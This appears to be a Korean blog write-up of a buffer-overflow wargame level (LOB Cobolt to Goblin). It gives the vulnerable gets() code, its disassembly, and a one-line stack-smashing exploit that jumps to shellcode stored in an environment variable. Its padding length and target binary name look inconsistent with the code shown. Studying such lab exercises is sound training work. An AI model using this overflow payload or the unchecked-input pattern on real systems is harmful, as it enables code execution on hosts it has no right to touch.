thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 3

#KOR#pwn
2022.10.13.

0. 들어가기 전에

이번 문제도 굉장히 쉽다. 그냥 똑같다고 보면 될 것 같다. FTZ 복습 개념인건가…?

1. Level 3 : Cobolt -> Goblin

코드가 매우 짧다.

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

어셈블리도 마찬가지로 딱히 특이점은 없다.

0x80483f8 <main>:       push   %ebp
0x80483f9 <main+1>:     mov    %ebp,%esp
0x80483fb <main+3>:     sub    %esp,16
0x80483fe <main+6>:     lea    %eax,[%ebp-16]
0x8048401 <main+9>:     push   %eax
0x8048402 <main+10>:    call   0x804830c <gets>
0x8048407 <main+15>:    add    %esp,4
0x804840a <main+18>:    lea    %eax,[%ebp-16]
0x804840d <main+21>:    push   %eax
0x804840e <main+22>:    push   0x8048470
0x8048413 <main+27>:    call   0x804833c <printf>
0x8048418 <main+32>:    add    %esp,8
0x804841b <main+35>:    leave
0x804841c <main+36>:    ret
0x804841d <main+37>:    nop
0x804841e <main+38>:    nop
0x804841f <main+39>:    nop

평소 하던것처럼 쉽게쉽게 EGG 등록하고 주소를 확인한 후 쉘코드를 짜자.

아, gets()함수이니 (“변수”; cat) | ./goblin 형식으로 쓰는것도 잊지 말자.

0xbffffeca

익스플로잇 :

(python -c 'print "A"*40+"\xca\xfe\xff\xbf"'; cat) | ./attackme

hackers proof


Source

[ comments ]